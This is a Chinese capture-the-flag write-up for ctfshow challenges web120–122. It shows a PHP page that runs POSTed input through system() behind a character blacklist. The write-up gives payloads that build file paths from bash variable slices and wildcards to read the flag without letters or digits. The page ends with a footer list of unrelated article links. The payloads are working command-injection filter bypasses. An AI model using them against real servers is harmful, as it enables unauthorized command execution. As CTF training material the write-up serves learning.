${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.???

web120

给出了源码


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

使用上一题的payload即可 知识改为了POST 一个道理

web121

这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/和r字符,或者 v。

构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???

code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web122

解答:这次PWD被过滤了,但是HOME可以用了。

1)/可以通过HOME获取,需要数字1,但是#被过滤了。

$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127。

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A。

这里要说一下,我看有一些wp写的$?返回值的内容是linux的error
code,并不是,<A提示的错误是no such file or dictionary,它对应的error code 是2,但是$?的结果是1。
——$?返回数据具体都有什么,这个我没有查到。

2)这次可以用命令/bin/base64。因为,${RANDOM}可以出现4或5,可以构造/???/?????4。需要多试几次才能拿到flag。

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

多刷新几次

解码

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • nacos 安装 centos7 docker
  • Pytorch深度学习快速入门笔记【小土堆】
  • Linux基础环境搭建(CentOS7)- 虚拟机准备_搭建hadoop能使用桥接模式吗
  • HTML5中`<area>`标签深入全面解析
  • HS光流法原理与实现
  • 在职研生活学习--20240907
  • Verilog FPGA 仿真 控制任务
  • 开发中ostringstream,格式化输出的问题
  • 7.测试用例设计方法 + Bug
  • 系统性能分析工具sysstat之sar命令以及nginx中打开gzip使用配置gzip_http_version值为1.0和1.1时遇到的结果乱码问题
  • 创游系列开心娱乐完整组件
  • Gmtracker_深度学习驱动的图匹配多目标跟踪项目启动与算法流程
  • 解锁精准电商营销新纪元:深度剖析京东商品详情API数据驱动的营销策略
  • 2024.9.10
  • STL02——手写简单版本的list
  • 【划重点】MySQL技术内幕:InnoDB存储引擎
  • Android Volley源码解析
  • gf框架之分页模块(五) - 自定义分页
  • happypack两次报错的问题
  • JS进阶 - JS 、JS-Web-API与DOM、BOM
  • mysql常用命令汇总
  • PAT A1120
  • Redis中的lru算法实现
  • Ruby 2.x 源代码分析:扩展 概述
  • vue中实现单选
  • 电商搜索引擎的架构设计和性能优化
  • 对话:中国为什么有前途/ 写给中国的经济学
  • 分享一个自己写的基于canvas的原生js图片爆炸插件
  • 前端面试题总结
  • 区块链分支循环
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • ​软考-高级-信息系统项目管理师教程 第四版【第23章-组织通用管理-思维导图】​
  • ​数据结构之初始二叉树(3)
  • # AI产品经理的自我修养:既懂用户,更懂技术!
  • (C++)栈的链式存储结构(出栈、入栈、判空、遍历、销毁)(数据结构与算法)
  • (附源码)springboot 房产中介系统 毕业设计 312341
  • (六)库存超卖案例实战——使用mysql分布式锁解决“超卖”问题
  • (三十五)大数据实战——Superset可视化平台搭建
  • (限时免费)震惊!流落人间的haproxy宝典被找到了!一切玄妙尽在此处!
  • (转)C#开发微信门户及应用(1)--开始使用微信接口
  • (转)nsfocus-绿盟科技笔试题目
  • (转)可以带来幸福的一本书
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .class文件转换.java_从一个class文件深入理解Java字节码结构
  • .Family_物联网
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...
  • .NET 读取 JSON格式的数据
  • .NET 依赖注入和配置系统
  • .Net(C#)常用转换byte转uint32、byte转float等
  • .Net各种迷惑命名解释
  • .NET命名规范和开发约定
  • /proc/stat文件详解(翻译)
  • [ vulhub漏洞复现篇 ] Apache APISIX 默认密钥漏洞 CVE-2020-13945
  • [ 代码审计篇 ] 代码审计案例详解(一) SQL注入代码审计案例